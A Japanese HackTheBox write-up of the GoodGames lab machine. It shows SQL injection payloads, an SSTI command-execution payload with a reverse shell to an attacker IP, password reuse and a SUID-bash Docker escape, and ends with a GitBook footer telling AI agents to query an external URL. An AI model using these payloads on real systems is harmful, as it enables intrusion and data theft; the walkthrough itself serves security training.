> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md).

# GoodGames HackTheBox攻略記事

ユニオンベースのSQLインジェクション悪用、弱いアルゴリズムのハッシュクラック、パスワード再利用、SSTI悪用を扱うGoodGames HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。

{% embed url="<https://www.google.com/url?q=https://app.hackthebox.com/machines/446&sa=D&source=calendar&usd=2&usg=AOvVaw2ko0ihHJ569fSXeaF46YAQ>" %}

{% hint style="warning" %}
**スキル:**

* UNIONベースのSQLインジェクションの悪用
* 脆弱なアルゴリズムのハッシュクラック
* パスワードの使い回し
* SSTIの悪用
* Docker脱出の基礎
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-220378041f08680d22e86ae2ac03dd3194ba7a87%2Fimage%20(1304).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-609bd3d096dd63d6df13b806f28825219674a3ae%2Fimage%20(1305).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.130 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68e370fed960fd95dce793f0c6de8c1e0105642%2Fimage%20(1306).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（80）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436b8f76324ed607187f420d638465820bf0b533%2Fimage%20(1307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p80 10.10.11.130 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e98ce21a35fbcca275817080fc6824cfa45e8f07%2Fimage%20(1309).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-426bcd77c3260dcaf1e5419c40ed9ba2ef49ece5%2Fimage%20(1310).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d89000d3f2ee70034fdd1eeb976e18683ef2873%2Fimage%20(1311).png?alt=media" alt=""><figcaption></figcaption></figure>

**ディレクトリ検索：**

サイト内のディレクトリを探索するためにGobusterを使用します：

```bash
gobuster dir -u http://GoodGames.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 9265
```

signupディレクトリを見つけます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-762886ff9cd846a436f39f66935f542a95567239%2Fimage%20(1313).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1d619b483cfb3bb376ab94526a98d50472e85b1%2Fimage%20(1312).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQLインジェクションの脆弱性：

を使用する **Burp Suite**、リクエストを傍受してSQLインジェクションをテストできます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fad7f8a3ef8b964bcb96308a2a4a7d7f8b2f10f4%2Fimage%20(1316).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基本的なSQLインジェクション：

単純なインジェクションで認証を回避するには、次を使用します：

```bash
admin ' or 1=1-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f669c5735cc01e9f5a03a89a16ffb8b739da38%2Fimage%20(1317).png?alt=media" alt=""><figcaption></figcaption></figure>

この種のインジェクションは、条件を常に真にします（`1=1`）、クレデンシャルチェックを回避して管理パネルにアクセスできます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e069415739e6d76d472d7890b0f8f2d5bd4f03f%2Fimage%20(1318).png?alt=media" alt=""><figcaption></figcaption></figure>

### UNIONベースのインジェクション

ある **UNIONベースのSQL** インジェクションを使って、データベースと互換性のある形でクエリを構成するために列数を特定しようとします。例：

```bash
admin' union select 1,2,3,4-- -
```

サーバーは「ログイン成功」を示す応答を返し、4列あることがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-698bbad39c8cd602c947d4a33bfa49911b2193e2%2Fimage%20(1323).png?alt=media" alt=""><figcaption></figcaption></figure>

#### データベースを一覧表示

現在のデータベース名を一覧表示するには、次を使用します：

```bash
admin' union select 1,2,3,database()-- -&password=admin
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b1a76abf34c437989b0b243987fd48c11a43745%2Fimage%20(1325).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、利用可能なすべてのデータベースを取得します：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```

{% endcode %}

結果: `information_schema`, `main`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0da0d768c6aefc3b21ac71b9fb2b8ce356ca35dd%2Fimage%20(1326).png?alt=media" alt=""><figcaption></figcaption></figure>

#### テーブルを一覧表示

データベースを特定した後、 `main` 保存されている構造を調べるために、このデータベース内のテーブルを一覧表示します：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```

{% endcode %}

見つかったテーブル： `blog`, `blog_comments`, `users`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4f6af722deccf30df46101b49268a16c4248a45%2Fimage%20(1327).png?alt=media" alt=""><figcaption></figcaption></figure>

テーブルの列を一覧表示

その `users` テーブルで、利用可能な列を一覧表示します：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```

{% endcode %}

見つかった列: `email`, `id`, `name`, `パスワード`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1065cfdfbb6af2c3762964ea07a981da44aa5e6a%2Fimage%20(1328).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザーデータの抽出

その後、 `users` テーブル:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```

{% endcode %}

ユーザー： `Admin`

メールアドレス： `admin@goodgames.htb`

パスワード（ハッシュ）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37e874f47fb479d7b0446483254a35242ef8ba07%2Fimage%20(1329).png?alt=media" alt=""><figcaption></figcaption></figure>

### パスワードの復号

次を使用できます **CrackStation** 取得したMD5ハッシュを解読して、平文のパスワードを復元できます。

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d646004eda9b866c1d43bfa0778ff665bda682a%2Fimage%20(1330).png?alt=media" alt=""><figcaption></figcaption></figure>

## SSTI脆弱性：

### サブドメインへのアクセス

見つかった管理用サブドメインにアクセスするには、これを `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e9564400aae0f6e0ae5717173226aca9803a8f%2Fimage%20(1319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a137db7529f4a15cbc529d5cabf39bfa0e8b5234%2Fimage%20(1320).png?alt=media" alt=""><figcaption></figcaption></figure>

最後に、 **admin** 認証情報を使って、このサブドメインで認証できます。

`admin:superadministrator`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3a3a43b1e8d2cd9ae9f9c78038b3a9dcd5b9f45%2Fimage%20(1331).png?alt=media" alt=""><figcaption></figcaption></figure>

サブドメインには **設定** タブがあり、管理者ユーザー情報（氏名、生年月日、電話番号）を編集できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e13fb07dd359ad95f4f313c0d0ef14d95c5990a%2Fimage%20(1294).png?alt=media" alt=""><figcaption></figcaption></figure>

「フルネーム」フォームでSSTI攻撃を実行しようとすると、サーバーに脆弱性があります。これをテストするために `{{ }}`、計算式を解釈するか試してみましょう：

```python
{{1+1}}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4934eb1d123fb8fa51f330cecad8d89dbf13ed00%2Fimage%20(1295).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、コマンドを実行します（たとえば、 `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

彼がいるのは `root` グループ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6653e480725ac2a2dbb912780caccef3ba8e5eba%2F%7B618B071D-718C-41A7-A0D3-215BFB9B750B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

サーバーにアクセスするためにリバースシェルを作成します

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```

攻撃用マシンで443番ポートを待ち受けます：

```bash
nc -nlvp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b513b3559ef0294fcf68fe9ccccdd4e7fa9c9e0f%2Fimage%20(1296).png?alt=media" alt=""><figcaption></figcaption></figure>

### **フラグ：user.txt** :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b348c9054e9bfb64d82510af3631cf78923a5fa2%2Fimage%20(1297).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

Linuxサーバーにアクセスしたら、ターミナルで処理するために実行するコマンドは次のとおりです：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

これにより、より効率的に、そして何よりも快適に作業できます。

### Docker脱出：

IPアドレスがマシンのものではないことがわかります（マシンIP: 10.10.11.130; DockerコンテナIP: 172.19.0.2）。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa0edfbc9cd7fd2070ffb21d46fd8c0fdc804214%2Fimage%20(1298).png?alt=media" alt=""><figcaption></figcaption></figure></div>

ポートは手動でスキャンします。というのも、 `nmap` ゲートウェイ（172.19.0.1）にはインストールされていないからです：

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

22番ポートが（内部的に）開いていることがわかるので、SSHで接続できます。

```bash
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2229af16fd380ac9f30d76b7ea77f4c407bf9127%2Fimage%20(1299).png?alt=media" alt=""><figcaption></figcaption></figure>

rootアカウントでパスワードを使ってログインしようとすると `superadministrator` ログインできませんが、 `augustus` シェルを取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-182425faa9fbed82bef8d51f2848e46301c10510%2Fimage%20(1300).png?alt=media" alt=""><figcaption></figcaption></figure>

### DockerからのBash SUID

Dockerコンテナ内ではrootなので、マシンの通常ホストからbashバイナリを、～のホームディレクトリへコピーします `augustus`:

```
cp /bin/bash .
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fba166e3d9fc6be038931b26c6a4578106dafb4%2Fimage%20(1301).png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

Dockerのrootから、このbashファイルにrootグループとSUID権限を付与し、rootとして実行されるようにします：

```bash
chown root:root bash
chmod 4777 bash
```

SSHに戻ると、次のように表示されます：

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802665bac0948d007a6c71c54da3317d9da00295%2Fimage%20(1302).png?alt=media" alt=""><figcaption></figcaption></figure>

### **ルートフラグを取得しました :)**

`./bash -p`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd5ee464df2df34a50c900751373dd22fc4f23f%2Fimage%20(1303).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a6d434ebbf5dd5eb099d2599df50fadecfddff1%2F%7B0BBA635D-1E6A-429D-9945-FBBFA6784D00%7D.png?alt=media" alt="" width="528"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/goodgames-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
